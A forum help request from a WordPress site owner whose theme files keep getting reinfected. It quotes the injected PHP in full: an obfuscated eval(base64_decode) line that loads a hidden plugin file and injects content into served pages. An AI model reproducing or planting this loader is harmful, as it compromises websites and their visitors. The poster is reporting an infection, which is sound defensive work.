Possible Virus / Unauthorized Encrypted Code

I posted last week about the Featured Content Gallery plugin not working on my site. Finally got assistance elsewhere when someone noticed the following code in my theme files:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy92aG9zdHMvVFJVRS1CTE9PRC5ORVQvaHR0cGRvY3Mvd3AtY29udGVudC9wbHVnaW5zL25leHRnZW4tZ2FsbGVyeS9hZG1pbi9qcy9KY3JvcC9jc3Mvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy92YXIvd3d3L3Zob3N0cy9UUlVFLUJMT09ELk5FVC9odHRwZG9jcy93cC1jb250ZW50L3BsdWdpbnMvbmV4dGdlbi1nYWxsZXJ5L2FkbWluL2pzL0pjcm9wL2Nzcy9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

(To safely decrypt, change ‘eval’ to ‘print’.) After manually removing the string from all of the files and reuploading them, the site worked fine for a couple of days. This morning, the code is back and the plugin is not working again. Has anyone else encountered this? What’s the permanent fix?